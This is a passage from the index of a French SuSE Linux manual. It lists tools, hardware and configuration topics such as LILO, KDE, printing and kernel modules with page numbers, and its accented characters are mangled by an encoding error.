  36549.  *. . . . . 517
  36550. Gestionnaire de fenΩtres   . 516                 gv    . . . . . . . . . . . . . . . . . . . . . 481I-noeuds
  36551.    Configuration  . . . . . . . . . 286          gv   . . . . . . . . . . . . . . . . . . . . . 216  densitΘ  . . . . . . . . . . .*
  36552.  * . . . . 108
  36553.    Configurer  . . . . . . . . . . . . 110       gv  . . . . . . . . . . . . . . . . . . 10, 216     DensitΘ  . . . . . . . . . . .*
  36554.  * . . . . . 91
  36555.    DΘmarrage   . . . . . . . . . . . 277         gzip   . . . . . . . . . . . . . . . . . 47, 73  i4l  . . . . . . . . . . . 108, 1*
  36556.  *76, 450
  36557.    Fonctions  . . . . . . . . . . . . . 268      gzip     . . . . . . . . . . . . . . . . . . . 492i4ldoc  . . . . . . . . . . . . *
  36558.  *176, 184
  36559.    Fvwm   . . . . . . . . . . . . . . . 277                                                       i82365   . . . . . . . . . . . . *
  36560.  *. . . . . 324
  36561.    thΘorie de base  . . . . . . . . 265          H                                                i82557/i82558   . . . . . . . . .*
  36562.  * . 387
  36563. Gestionnaire de files d'attente                  halt   . . . . . . . . . . . . . . . . . . . . 449i-noeuds  . . . . . . . . . . . *
  36564.  *. . . . . . 91__
  36565.    HylaFAX  . . . . . . . . . . . . . 222        Hans Lermen   . . . . . . . . . . . . 10         IBM  . . . . . . . . . . . . . . *
  36566.  *. . . 3, 522
  36567. gestionnaire de pΘriphΘriques  .                 Hans Reiser  . . . . . . . . . . . . . . 90      IBM OS/2  . . . . . . . . . . . .*
  36568.  * . . 500
  36569.       318, 319, 325                              Harald K÷nig   . . . . . . . . . . . . 10        IBM Thinkpad  . . . . . . . . . .*
  36570.  * 380
  36571. Gestionnaire de paquetages   . .                 hardsuse  . . . . . . . . . . . . . . 474        ICL EtherTeam   . . . . . . . . .*
  36572.  * 388
  36573.       415                                        Hardware                                         ICN  . . . . . . . . . . . . . . *
  36574.  *. . . . . . 176
  36575. getty  . . . . . . . . . . . . . . . . . . . 227    CardBus  . . . . . . . . . . . . . . 317      Icons  . . . . . . . . . . . . . *
  36576.  *. . . . . . 280
  36577. Ghostscript  . . . . . . . . . . . . . 102          PC-Karten  . . . . . . . . . . . . 317        Identification   . . . . voir Mot*
  36578.  * de
  36579. Ghostscript  . . . . 101, 340, 347               Hauppauge WIN/TV   . . . . 315                         passe
  36580.    uniprint   . . . . . . . . . . . . . . 349    hdparm  . . . . . . . . . . . . . . . . . 329    Identifier   . . . . . . . . . . *
  36581.  *. . . . . 262
  36582. GhostScript  . . . . . . . . . . . . . 102       hfaxd   . . . . . . . . . . . . . . . . . . 221  ifconfig  . . . . . . . . . . . .*
  36583.  * 440, 455
  36584. ghostview   . . . . . . . . . . . . . . 280      Hibernation  . . . . . . . . . . . . . 327       ifport   . . . . . . . . . . . . *
  36585.  *. . . . . . 326
  36586. Ghostview  . . . . . . . . . . . . . . 481       HiSax  . . . . . . . . . . . . . . . . . . 176   Image d'arriΦre-plan  . . . . . 2*
  36587.  *78
  36588. GhostView   . . . . . . . . . . . . . 216        HOME   270, 274, 287, 346, 524,                  imlibdev  . . . . . . . . . . . .*
  36589.  * . . 411
  36590. GhostView   . . . . . . . . . . . . . 216              527                                        Importer  . . . . . . . . . . . .*
  36591.  * . . . . 167
  36592. glibc   . . . . . 409~411, 438, 517              Horloges radio  . . . . . . . . . . 459          Impression   . . . . . . . . . . *
  36593.  *. . . 333
  36594. glibndev  . . . . . . . . . . . . . . 411        host.conf   . . . . . . . . . . . . . . . 160       α distance   . . . . . . . . .*
  36595.  * . . . 339
  36596. glimpse   . . . . . . . . . . . . . . . 412         alert   . . . . . . . . . . . . . . . . . 159    Comptes   . . . . . . . . . . *
  36597.  *. . . 346
  36598. gnlibsd   . . . . . . . . . . . . . . . 411         multi  . . . . . . . . . . . . . . . . . 159     lancer lpd   . . . . . . . . .*
  36599.  * . . . 458
  36600. GNOME  4, 69, 267, 269, 282,                        nospoof   . . . . . . . . . . . . . . 159        remote   . . . . . . . . . . .*
  36601.  * . . . . 342
  36602.       421                                           order  . . . . . . . . . . . . . . . . . 159     Samba   . . . . . . . . . . . *
  36603.  *. . . . 108
  36604.    Compiler  . . . . . . . . . . . . . 411          trim  . . . . . . . . . . . . . . . . . . 159    Vue d'ensemble  . . . . . . . *
  36605.  *333
  36606. GNOME Panel  . . . . . . . . . . 283             HOSTNAME  . . . . . . . . . . . 163              Imprimante
  36607.  
  36608.  
  36609. 574
  36610.        ___________________________________________________________________________________________________________________________I*
  36611.  *ndex__________________
  36612.  
  36613.  
  36614.  
  36615.    Configuration  . . . . . . . . . 101             Pilotes SCSI  . . . . . . . . . . 362            Support   . . . . . . . . . . *
  36616.  *. . . . . 83
  36617.    Imprimante rΘseau   . . . . voir              inittab  . . . . . . . . . . . . . . . . . . 445    Taille   . . . . . . . . . . .*
  36618.  * . . . . . . 94
  36619.       Imprimante rΘseau                          inn   . . . . . . . . . . . . . . . 208, 410        VΘrifier les paramΦtres  . . 25
  36620.    Machine Windows comme                         INN   . . . . . . . . . . . . . . . . . . . 458     via FTP   . . . . . . . . . . *
  36621.  *. . . . . 87
  36622.       serveur d'impression   108                 insmod   . . . . . . . . . . . . 360, 361           via NFS  . . . . . . . . . . .*
  36623.  * . . . . 85
  36624.    Novell NetWare comme                             ParamΦtres   . . . . . . . . . . . 367           YaST2   . . . . . . . . . . . *
  36625.  *. . . . . 18
  36626.       serveur d'impression   108                 Installation                                     Installation des paquetages   96
  36627.    ParamΦtres du noyau   . . 382                    ╔cran d'accueil   . . . . . . . . 16          Installer X   . . voir Installati*
  36628.  *on,
  36629.    Port parallΦle   voir MatΘriel,                  └ partir du disque dur  . . . 46                    installer X
  36630.       Port parallΦle                                α partir d'une partition du                   Insure++   . . . . . . . . . . . *
  36631.  *. . . . . 69
  36632.    Terminer l'impression   . 337                       disque dur   . . . . . . . . . .  84       IntΘgrer la souris  . voir YaST2,
  36633. Imprimante rΘseau                                   Abandon de la premiΦre                              intΘgrer la souris
  36634.    Configuration  . . . . . . . . . 107                installation   . . . . . . . . . . 64      IntΘgrer le clavier  . . . . . . *
  36635.  *. voir
  36636. Imprimantes                                         avec YaST1, mode texte  . 28                        YaST2, intΘgrer le clavier
  36637.    DΘmon  . . . . . . . . . . . . . . . 337         Avec YaST2   . . . . . . . . . . . 15         Intel EtherExpress 16  . . . . 386
  36638.    Imprimantes GDI   . . . . . 354                  Choisir le disque dur  . . . . 20             Intel EtherExpressPro  . . . . 387
  36639.    Lexmark   . . . . . . . . . . . . . 354          Choisir les logiciels  . . . . . 21           Intel EtherExpressPro 100  387
  36640.    Liste de contr⌠le   . . . . . . 354              Configurer le dΘmarrage du                    Interface   . . . . . . . . . . .*
  36641.  * . . . . 517
  36642.    supportΘes  . . . . . . . . . . . . 349             systΦme   . . . . . . . . . . . . . 23     Interface graphique  . . . . . . *
  36643.  *518
  36644.    Windows only   . . . . . . . . 354               Configurer les composants                     Interfaces
  36645. Imprimantes GDI   . . . . . . . 354                    du systΦme   . . . . . . . . . . 26           parallΦles  . . . . . . . . . *
  36646.  *. . . . 333
  36647. Imprimantes rΘseau  . . . . . . 338                 Connexion aprΦs installation                  Internet  . . . . . . . . . . . .*
  36648.  * 518, 543
  36649.    PrΘfiltrage  . . . . . . . . . . . . 346            27                                            Configurer PPP   . . . . . . .*
  36650.  * 190
  36651. Imprimer                                            CrΘer un compte utilisateur  .                   PPP et les utilisateurs  . . 1*
  36652.  *93
  36653.    horizontal   . . . . . . . . . . . . 341            24                                         Internet Services Daemon
  36654.    Novell NetWare  . . . . . . . 108                d'un rΘpertoire  . . . . . . . . . 86            inetd  . . . . . . . . . . . .*
  36655.  * . . . . . 456
  36656.    Noyau 2.2.x   . . . . . . . . . . 410            dΘsinstaller les paquetages   .                  xinetd  . . . . . . . . . . . *
  36657.  *. . . . . 456
  36658.    Serveur d'impression  . . 338                       415                                        InterprΘteur de commandes  . . .
  36659. Inclure des partitions Windows                      Depuis...   . . . . . . . . . . . . . . 83          518
  36660.       91                                            du CD-ROM  . . . . . . . . . . . 84           Invite   . . . . . . . . . . . . *
  36661.  *. . . . . . 518
  36662. Index de toutes les sΘries et                       FTP  . . . . . . . . . . . . . . . . . . . 48 IP Forwarding   . . . . . . . . .*
  36663.  * . 455
  36664.       paquetages   . . . . . . . . . . 98           Installer le gestionnaire                     IP-Masquerade
  36665. inetcfg  . . . . . . 184, 197, 198                     d'amorτage  . . . . . . . . . . 23            IP-Forwarding   . . . . . . . *
  36666.  *. 455
  36667. inetd   . 40, 106, 157, 163, 209,                   installer les paquetages   415                ipchains  . . . . . . . . . . . .*
  36668.  * . . . . 473
  36669.       436, 456, 475, 476, 479                       Installer X  . . . . . . . . . . . . . 26     IPv6   . . . . . . . . . . . . . *
  36670.  *. . . . . . 413
  36671. Inetd  . . . . . . . . . . . . . . . . . . . 222    Lecteur de CD-ROM                             IPX  . . . . . . . . . . . . . . *
  36672.  *. . . . . . 230
  36673. inf2htm   . . . . . . . . . . . . . . . 436            connectΘ α son propre                      IRC  . . . . . . . . . . . . . . *
  36674.  *. . . . . . 456
  36675. info      . . . . . . . . . . . . . . . . 9, 443       contr⌠leur  . . . . . . . . . . . 62       irda  . . . . . . . . . . . . . .*
  36676.  * . . . . . 330
  36677. Info  . . . . . . . . . . . . . 9, 443, 542         Lecteurs de                                   IrDA  . . . . . . . . . . . . . .*
  36678.  * . . . . . 330
  36679. Info (info   )  . . . . . . . . . . . . . 443          CD-ROM-Laufwerk sur                           Imprimante  . . . . . . . . . *
  36680.  *. . 331
  36681. Informations sur le systΦme   . .                      port parallΦle  . . . . . . . .  62        ISA PnP
  36682.       429                                           LILO   . . . . . . . . . . . . . . . . 130       Initialiser  . . . . . . . . .*
  36683.  * . . . . 453
  36684. Informations sur les                                Mise α jour   . . . . . . . . . . . . 19      isapnp  . . . . . . . . . . . . .*
  36685.  * 294, 296
  36686.       paquetages   . . . . . . . . . . 96           Mot de passe root   . . . . . . 24            isapnp   . . . . . . . 294, 296, *
  36687.  *299
  36688. Informix  . . . . . . . . . . . . . . . . . . 3     NFS   . . . . . . . . . . . . . . . . . . 48  ISApnp   . . . . . . . . . . . . *
  36689.  *. . . . 294
  36690. Infoviewer  . . . . . . . . . . . . . . . . 9       paquetages  . . . . . . . . . . . . . 97      ISDN   . . . . . . . . . . . . . *
  36691.  *. . . . . 518
  36692. Infrared Data Association  voir                     Partition DOS comme                              Configuration   . . . . 173, 1*
  36693.  *75
  36694.       IrDA                                             source  . . . . . . . . . . . . . . . 46      YaST   . . . . . . . . . . . .*
  36695.  * . . . . 176
  36696. init   x, 132, 440, 445~448, 522                    PCMCIA  . . . . . . . . . . . . . 326         isdn4linux  . . . . . . . . . . .*
  36697.  * . 175
  36698.    Scripts   . . . . . . . . . . . . . . . 448      Plan prΘliminaire  . . . . . . . 15           isdnctrl  . . . . . . . . . . . .*
  36699.  * . . . . . 175
  36700. Init   . . . . . . . . . . . . . . . . . . . . 221  PremiΦre installation  . . . . 15             isdnlog  . . . . . . . . . . . . *
  36701.  *. . . . . 179
  36702. initial ramdisk   . . . . . . . . . . 424           RΘseau comme source   . . 48                  ISP   . . . . . . . . . . . . . .*
  36703.  * . . . . . . 519
  36704. initrd  . . . . . . . . . . . . . . . . . . . 453   SΘlectionner la langue   . . 18               ISP16   . . . . . . . . . . . . .*
  36705.  * 381, 391
  36706.  
  36707.  
  36708.                                                                                                                                    *
  36709.  *   575
  36710. Index             _________________________________________________________________________________________________________________*
  36711.  *_______________________________________@
  36712.  
  36713.  
  36714.  
  36715. J                                                LAN Manager  . . . . . . 229, 500                Ligne de dΘpannage   . . . . . 560
  36716. jade_dsl  . . . . . . . . . . . . . . 409        Lance  . . . . . . . . . . . . . . . . . . 379   LILO     . . . . . . . . . . . . *
  36717.  *. . . . . . . 117
  36718. Jeu de widgets Qt                                LANG  . . . . . . . . . . . . . . . . . . . 452  LILO   . . . . . . . . . . . . . *
  36719.  *. . . . . 117
  36720.    Licence   . . . . . . . . . . . . . . 271     Langue                                           LILO   . ii, iv, v, 23, 24, 26, 3*
  36721.  *8,
  36722. Job (Fax-)                                          ParamΘtrer  . . . . . . . . . . . . 452             45, 68, 91, 104~106, 117,
  36723.    SuSEFax  . . . . . . . . . . . . . 215        Laptop  . . . . . . . . . . . . . . . . . 317          119~124, 126~142, 323,
  36724. joe  . . . . . . . . . . . . . . . . . . . . . 514latex-cover   . . . . . . . . . . . . . 220           361, 364, 365, 367, 368,
  36725. john  . . . . . . . . . . . . . . . . . . . 467  latex-cover   . . . . . . . . . . . . . 220            370, 384, 407, 424, 425,
  36726. jurix   . . . . . . . . . . . . . . . . . . . . 10latex-cover   . . . . . . . . . . 220                 427, 432, 447, 467, 520,
  36727.                                                                                                         534, 568
  36728. K                                                LC_*LD.A.P.-.S.e.r.v.e.r. ..................452..458Amorτage d'OS/2  . . . . . 136
  36729. kardinfo  . . . . . . . . . . . . . . . . 326    ldconfig  . . . . . . . . . . . . . . . . 414       Amorτage de DOS/Win95   .
  36730. kbatmon  . . . . . . . . . . . . . . . . 329     ldp  . . . . . . . . . . . . . . . . . . . . 435       134
  36731. KDE   4, 67, 69, 110, 173, 192,                  leafnode  . . . . . . . 208~210, 412                Amorτage de Windows NT  .
  36732.       265, 267~271, 282, 407,                    leafnode  . . . . . 208, 209, 410                      135
  36733.       421, 543                                   Leafnode  . . . vi, 208  , 208, 209                 Amorcer DOS et OS/2  . 137
  36734.    CaractΘristiques  . . . . . . . 274           Lecteur CD-ROM se bl_____oque  . .                  DΘsinstallation  . . . . . . .*
  36735.  * . 130
  36736.    Login  . . . . . . . . . . . . . . . . 273          60                                            Disquette d'amorτage   . 132
  36737.    SystΦme d'aide  . . . . . . . . 271           Lecteur de CD-ROM   . . . . 519                     Exemples de configurations
  36738. KDE Panel   . . . . . . . . . . . . . 283           Installation   . . . . . . . . . . . 100            134
  36739. KDEDIR   . . . . . . . . . . . . . . . . 272        Port parallΦle   voir MatΘriel,                  Installation   . . . . . . . .*
  36740.  * . . . 130
  36741. kdehelp   . . . . . . . . 27, 271, 276                 Port parallΦle                                ParamΦtres   . . . . . . . . .*
  36742.  * . . 367
  36743. kdm  . . . . . . . 27, 109, 273, 408                se bloque  . . . . . . . . . . . . . . 64        ProblΦmes  . . . . . . . . . .*
  36744.  * . . 137
  36745. KDM  . 43, 109, 269~271, 273,                                                                      1024 cylindres  . . . . . . . . *
  36746.  *. 139
  36747.       274                                           SupportΘ par Linux  . . . . . 59               Diagnostic  . . . . . . . . . . *
  36748.  *. . . 138
  36749. Kernel                                           Lecteur de CD-ROM bloquΘ  . .                     Message de dΘmarrage  . . 138
  36750.    SΘlection du noyau SMP  . . .                       62                                          Noyau α partir de 2.0   . . . 141
  36751.       104                                        Lecteur de disquette  . . . . . 379                 Suppression   . . . . . . . . *
  36752.  *. . 131
  36753. Kernel Module Loader  . . . 361                  Lecteur de disquettes   . . .  voir              lilo.conf   . . . . . . . . . . .*
  36754.  * 123, 124
  36755. Kernel panic  . . . . . . . . . . . . . 38             MatΘriel, Lecteur de
  36756. Kernel too big   . . . . . . . . . . 363               disquettes                                 Linus Torvalds  . . 3, 6, 12, 519
  36757. kerneld  . . . 360, 361, 453, 454                Lecteur LS120  . voir MatΘriel,                  linux  . . . . . . . . . . . . . *
  36758.  *. . . . . . 10
  36759. kerneld   . . . . . . . . . . . . . . . . 361          Lecteur LS120                              Linux  . . . . . . . 4, 221, 519,*
  36760.  * 526
  36761. kernmod  . . 176, 302, 362, 413                  Lecteur ZIP  . . . . voir MatΘriel,                 DΘbuts  . . . . . . . . . . . *
  36762.  *. . . . 481
  36763. kernmods  . . . . . . . . . . . . . . 413              Lecteur ZIP                                   DΘsinstaller  . . . . . . . . *
  36764.  *. . . 131
  36765. Keyboard  . . . . . . . . . . . . . . . 260         Port parallΦle   voir MatΘriel,                  Mise α jour   . . . . . . . . *
  36766.  *. . . 403
  36767. kfm  . . . . . . . . . . . 271, 274, 548               Port parallΦle                                Supprimer  . . . . . . . . . .*
  36768.  * . . 131
  36769. kill   . . . . . . . . . . . . . . . . . . . . 199Lecteurs de bandes   . . . . .  voir            Linux Documentation Project
  36770. kill     . . . . . . . . . . . . . . . . . . . 498     MatΘriel, lecteurs de                            435
  36771. klipper  . . . . . . . . . . . . . . . . . 276         bandes                                     Linux initial   . . . . . . . . .*
  36772.  * . . . 519
  36773. kmid  . . . . . . . . . . . . . . . . . . . 305     Streamer   . . . . voir MatΘriel,                MΘthodes d'amorτage   . . 51
  36774. kmod   . . . . . . . . . . . . . . . . . . 333         lecteurs de bandes                         Linux Standard Base   . . . . 423
  36775. Kmod  . . . . . . . . . 308, 361, 362            Lecteurs de CD-ROM                               linux.par   . . . . . . . . . . .*
  36776.  * . . . . 143
  36777. knfsd   . . . . . . . . . . . . . . . . . . 411     Port parallΦle   . . . . . . . . . . 59       linuxrc  . . ii, 10, 28~32, 48, 4*
  36778.  *9,
  36779. knfsd  . . . . . . . . . . . . . 411, 457        less   . . . . 9, 173, 440, 489, 495                   53, 57, 326, 405, 410,
  36780. korn   . . . . . . . . . . . . . . . . . . . 276 lesstif   . . . . . . . . . . . . . . . 282            425~433, 439
  36781. kpanel  . . . . . . . . . . . . . 282, 329       Lettre de lecteur modifiΘe   . 64                Linuxrc  . . . . . . . . . . . . *
  36782.  *. 62, 154
  36783. KPanel   . . . . . . . . . . . . 275, 276        libc   . . . . . . . . . . . . . . 359, 420      Liste de recherche  . . . . . . .*
  36784.  * 455
  36785. krpm  . . . . . . . . . . . . . . . . . . . 421  libc5  . . . . . . . . . . . . . . . . . . . 438 (Θtablir)la liste des fax sΘrie
  36786. kvt  . . . . . . . . . . . . . . . . . . . . . 190libcinfo  . . . . . . . . . . . . . . 160          SuSEFax  . . . . . . . . . . .*
  36787.  * . . 219
  36788. kwm  . . . . . . . . . . 268, 270, 271           Lien   . . . . . . . . . . . . . . . . . . . 519 Lizenz   . . . . . . . . . . . . *
  36789.  *. . . . . 549
  36790.                                                     symbolique  . . . . . . . . . . . 491         ln   . . . . . . . . . . . . . . *
  36791.  *. . . . . . . 491
  36792. L                                                Lien symbolique   . . . . . . . . 491            loadlin  ii, v, 44, 45, 50~53, 62,
  36793. LAN  . . . . . . . . . . 153, 239, 519           Ligne de commande  . . . . . 519                       63, 68, 117, 120, 140,
  36794.  
  36795.  
  36796. 576
  36797.        ___________________________________________________________________________________________________________________________I*
  36798.  *ndex__________________
  36799.  
  36800.  
  36801.  
  36802.       142~144, 295, 370, 406,                    MΘmoire centrale   . . . . . . . voir            mdir   . . . . . . . . . . . . . *
  36803.  *. . . . . . 503
  36804.       424, 425, 430                                    MΘmoire                                    Memory  . . . . . . . voir MΘmoire
  36805. Loadlin                                          MΘmoire de masse   . . . . . . 520               Menu   . . . . . . . . . . . . . *
  36806.  *. . . . . 521
  36807.    ne dΘmarre pas  . . . . . . . . . 63          MΘmoire de travail  . . 496, 520                 Menu de dΘmarrage   . . . . . 143
  36808.    ne fonctionne pas  . . . . . . . 63           MacOS  . . . . . . . . . . . . . . . . . 526     Menu principal  . . . . . . . . .*
  36809.  * . . 82
  36810. LoadLin  . . . . . . . . . . . . . . . . . 10    MAD16   . . . . . . . . . . . 381, 391           Messages du systΦme  . . . . 543
  36811. loadlin.exe  . . . 10, 51, 52, 119,              Mail  . . . . . . . . . . . . voir E-Mail        Mettre α jour le systΦme
  36812.       425                                        makemap  . . . . . . . . . . . . . . . 207          YaST   . . . . . . . . . . . .*
  36813.  * . . . . 100
  36814. Local Area Network  voir LAN                     makewhat  . . . . . . . . . . . . . . 414        mformat  . . . . . . . . . . . . *
  36815.  *. . . . 503
  36816. locale  . . . . . . . . . . . . . . . . . . 452  makewhatis  . . . . . . . . . . . . . 414        mgetty  . . . . . . . . . . . . .*
  36817.  * 211, 227
  36818. locate  . . . . . . . . . . . . . . . . . . 461  man  . . . . . . . . . . . . . . . . . . . . . . 9mgetty  . . . . . . . . . . . . *
  36819.  *211, 227
  36820. locate       . . . . . . . . . . . . . . . . 461 Manpage  . . . . . . . . . . . . . . . 520       Microsoft  . . . . . . . . . . . *
  36821.  *. . . . 230
  36822. Logical Volume Manager   . 93                    MANPATH  . . . . . . . . . . . 414, 527          Midnight Commander  . . . 420,
  36823. login   . . . . . . . . . . . . . . 476, 541     Manuel  . . . . . . . . . . . . . . . . . 494          548
  36824. Login   . . voir KDE, login, 460                 Manuel en ligne  . . . . . . . . . 485           MIME   . . . . . . . . . . . . . *
  36825.  *. . . . 521
  36826.    α distance   . . . . . . . . . . . . 462      Manuels  . . . . . . . . . . . . . . . . . . 9   minicom   . . . . . . 190, 200, 4*
  36827.  *09
  36828.    PAM   . . . . . . . . . . . . 411, 414        manyfaqs   . . . . . . . . . . . . . . . . 9     Minicom  . . . . . . . . . . . 19*
  36829.  *0, 200
  36830.    Shell de login  . . . . . . . . . 413         masque rΘseau   . . . . . . . . . . 156          minicom  -s        . . . . . . . *
  36831.  *. . . . . 200
  36832. login :  . . . . . . . . . . . . . . . . . . 482 Masque rΘseau  . 156, 163, 478                   Miro PC/TV  . . . . . . . . . . .*
  36833.  * . 315
  36834. Login :  . . . . . . . . . . . . . . . . . . 41  Masquerading  . . . . . . 201, 545               Mise α jour  . . . . . . . . . . *
  36835.  *. 6, 403
  36836. Logitech   . . . . . . . . . . . . . . . 252     Massachusetts Institute of                          Inclure des paquetages  . . 98
  36837. Logitech, souris bus   . . . . . 380                   Technology  . . . . . . . . . 239             Installation   . . . . . . . .*
  36838.  * . . . . 19
  36839. logout  . . . . . . . . . . . . . . . . . . 482  MatΘriel                                         Mise en rΘseau  . . . . . . . . .*
  36840.  * . 153
  36841. logsurfer   . . . . . . . . . . . . . . . 474       AGP  . . . . . . . . . . . . . . . . . 293    MIT   . . . . . . . . . . . . . .*
  36842.  * . . . . . 239
  36843. Loopback   . . . . . . . . . . . . . . 454          Cartes enfichables  . . . . . 293             Mitsumi FX-001(D)   381, 390
  36844. lpc  . . . . . . . . . . . . . . . . . . . . . 336  DifficultΘs  . . . . . . . . . . . . . 64     Mitsumi, CD-ROM   . 381, 390
  36845. lpd   . . 335, 337, 339, 346, 458                   incorporer  . . . . . . . . . . . . 293       mke2fs  . . . . . . . . . . . . .*
  36846.  * . . . . . 64
  36847. lpq  . . . . . . . . . . . . . . . . . . . . . 336  IrDA   . . . . . . . . . . . voir IrDA        mkfs  . . . . . . . . . . . . . .*
  36848.  * . . . . . 440
  36849. lpq   . . . . . . . . . . . . . . . . . . . . 336   ISA  . . . . . . . . . . . . . . . . . . 293  mknod   . . . . . . . . . . . . .*
  36850.  * . . . . 531
  36851. lpr  . . . . . . . . . . . . 335, 340, 481          ISApnp  . . . . . . . voir ISApnp             mkswap  . . . . . voir Partition *
  36852.  *de
  36853. lpr -s  . . . . . . . . . . . . . . . . . . . 335   Laptop   . . . . . voir Notebook                    Swap, 440
  36854. lprm   . . . . . . . . . . . . . . . . . . . 336    Lecteur de disquettes   . . 309               mlabel   . . . . . . . . . . . . *
  36855.  *. . . . . 503
  36856. lprm   . . . . . . . . . . . . . . . . . . . 336    Lecteur LS120  . . . . . . . . 309            mmd  . . . . . . . . . . . . . . *
  36857.  *. . . . . 503
  36858. lprold   . . . . . . . 334, 346, 354                Lecteur ZIP  . . . . . . . . . . . 309        ModΦle de document
  36859. lprsetp        . . . . . . . . . . . . . . . 102    Lecteurs de bandes  . . . . 313                     PostScript
  36860. lprsetup         . . . . . . . . . 341, 342         Modem   . . . . . . . . . . . . . . 310          SuSEFax  . . . . . . . . . . .*
  36861.  * . . 220
  36862. lrpold   . . . . . . . . . . . . . . . . 346        Modems externes   . . . . . 310               Mode DOS  . voir Windows 95
  36863. ls   . . . . . . . . . . . . . . . . . 487, 534     Modems internes  . . . . . . 310              Mode protΘgΘ  . . . . . . . . . .*
  36864.  * . . 63
  36865. ls    . . . . . . . . . . . . . . . . . . . . . 487 Notebook  . . . voir Notebook                 Modeline   . . . . . . . . . . 26*
  36866.  *0, 263
  36867. LSB  voir Linux Standard Base                       PCI  . . . . . . . . . . . . . . . . . . 293  Modem  . . . . . . . . voir Inter*
  36868.  *net,
  36869. lsmod  . . . . . . . . . . . . . . . . . . 361      Plug-and-Play   . . . . . . . . 449                 configurer PPP, 453
  36870. LUN  . . . . . . . . . . . . . . . . . . . 372      PlugAndPlay   . . . . . . . . . 294              Bips sonores  . . . . . . . . *
  36871.  *. . 194
  36872. lx_suse  . . . 10, 176, 302, 359                    Port parallΦle   . . . . . . . . . 307           Configuration  . . . . . . . .*
  36873.  * . 100
  36874. lxpoint   . . . . . . . . . . . . . . . 412         Scanner   . . . . . . . . . . . . . . 312        Connecter   . . . . . . . . . *
  36875.  *. . . 190
  36876. lynx   . . . . . . . . . . . . . . . . . 8, 459     USB  . . . . . . . . . . . . voir USB         Modem cΓble  . . . . . . . . . . *
  36877.  *. 188
  36878.                                                     Winmodem  . . . . . . . . . . . 311           Modify job parameter
  36879. M                                                mattrib  . . . . . . . . . . . . . . . . . 503      SuSEFax  . . . . . . . . . . .*
  36880.  * . . 216
  36881. m4  . . . . . . . . . . . . . . . . . . . . . 207MBR  . . 118, 123, voir Secteur                  modprobe   . . . . . 361, 368, 383
  36882. MΘcanisme de spool                                     maεtre d'amorτage, 520                        ParamΦtres   . . . . . . . . .*
  36883.  * . . 367
  36884.    SuSEFax   . . . . . . . . 214, 221            mc    . . . . . . . . . . . . . . . . . 420, 548 modssl   . . . . . . . . . . . . *
  36885.  *. . . . 470
  36886. MΘmoire   . . . . . . . . . . . . . . . 520      mcd  . . . . . . . . . . . . . . . . . . . . 503 Module   . . . . . . . . . . . . *
  36887.  *. . . . 360
  36888.    consommΘe  . . . . . . . . . . . 547          mcopy   . . . . . . . . . . . . . . . . . 503       Chargement   . . . . . . . . .*
  36889.  * . 430
  36890.    taille non reconnue  . . . . 371              mdel  . . . . . . . . . . . . . . . . . . . 503     Manipulation   . . . . . . . .*
  36891.  * . 360
  36892.  
  36893.  
  36894.                                                                                                                                    *
  36895.  *   577
  36896. Index             _________________________________________________________________________________________________________________*
  36897.  *_______________________________________@
  36898.  
  36899.  
  36900.  
  36901.    ParamΦtres   . . . . . . . . . . . 431        NCR 53C810  . . . . . . . . . . . 368            Novell   . . . . . . . . . . . . *
  36902.  *. . . . . 230
  36903. Modules                                          ncurses  . . . . . . . . . . . 415, 442          Novell NE1000/2000  . . . . 388
  36904.    compiler   . . . . . . . . . . . . . 364      NE1000/2000  . . . . . . . . . . . 388           Novell NetWare  . . . . . . . . .*
  36905.  * 229
  36906. Modules du noyau                                 NE2000  . . . . . . . . . . . . . . . . 383      Noyau   . . . . . . . . 359, 522,*
  36907.  * 542
  36908.    Fichier de configuration  411                 net_tool  . . . . . . . . . . . . . . 354           Compilation   . . . . . . . . *
  36909.  *. . 359
  36910. modules.conf   . . . . . . . . . . . 411         NetBEUI  . . . . . . . . . . . . . . . 230          Configuration  . . . . . . . .*
  36911.  * . 362
  36912. modules.conf  . . . . . . . . . voir             NetBIOS  . . . . . . . . . . . . . . . 230          DΘbogage   . . . . . . . . . .*
  36913.  * . . 452
  36914.       /etc/modules.conf                          netcfg   . . . . . . . . . . . . . . . . 354        Modules  . . . . . . . . . . .*
  36915.  * . . . 360
  36916. Moniteur  . . . . . . . . . . . 253, 260         netpbm   . . . . . . . . . . . . . . . . 340        ParamΦtres   . . . . . . . . .*
  36917.  * . . 367
  36918. Moniteur rΘseau                                  netscape  . . . . . . . . . . . . . . . . . . 8     Pilote d'imprimante   . . . 398
  36919.    Argus  . . . . . . . . . . . . . . . . 460    Netscape  . . . . . 67, 69, 70, 210                 SΘlection du noyau SMP   38
  36920. Montage   . . . . . . . . . . . . . . . 521      netstat  . . . . . . . . . . . . . . . . . . 440    sig11  . . . . . . . . . . . .*
  36921.  * . . . . . . 64
  36922. Montage automatique  . . . . 457                 NetWare   voir Novell NetWare                       sig7  . . . . . . . . . . . . *
  36923.  *. . . . . . . 64
  36924. more  . . . . . . . . . . . . . . . . . . . 489  Network File System  voir NFS                       Sysrq   . . . . . . . . . . . *
  36925.  *. . . . . 452
  36926. Mot de passe   . . . . . . . . 24, 482           Network Information Service  .                   nscd   . . . . . . . . . . 161, 1*
  36927.  *62, 411
  36928. Mot de passe root  . . . . . . . voir                  voir NIS                                   nscd.conf  . . . . . . . . . . . *
  36929.  *. . . . 161
  36930.       Installation, mot de passe                 networks   . . . . . . . . . . . . . . . 158     nsswitch.conf  . . . . . . . . . *
  36931.  *. . 160
  36932.       root                                       Neuhaus Triccy Data LCR  196                     NumΘros de tΘlΘphone  . . . 563
  36933. mount  167, 309, 440, 500, 523                   News  . . . . . . . . . . . . . . 171, 208
  36934. mountd  . . . . . . . . . . . . 167, 169            Leafnode  . . . . . . . . . . . . . 208       O
  36935. Mozart   . . . . . . . . . . . . 381, 391        NeXTstep   . . . . . . . . . . . . . . 500       olvwm   . . . . . . . . . . . . .*
  36936.  * . . . . 535
  36937. Mozart, CD-ROM   . . 381, 390                    NeXTSTEP  . . . . . . . . . . . . . 267          Olvwm  . . . . . . . . . . . . . *
  36938.  *. . . . 267
  36939. mrd  . . . . . . . . . . . . . . . . . . . . 503 NFS  . . . . . . . . . . . . . . . 167, 521      olwm   . . . . . . . . . . . . . *
  36940.  *. . . . . 535
  36941. mread  . . . . . . . . . . . . . . . . . . 503      DΘmon  . . . . . . . . . . . . . . . 411      Omnibook  . . . . . . . . . . . .*
  36942.  * . . 380
  36943. mren  . . . . . . . . . . . . . . . . . . . 503     DΘmon NFS du noyau  . 457                     OpenLook  . . . . . . . . . . . .*
  36944.  * . . 267
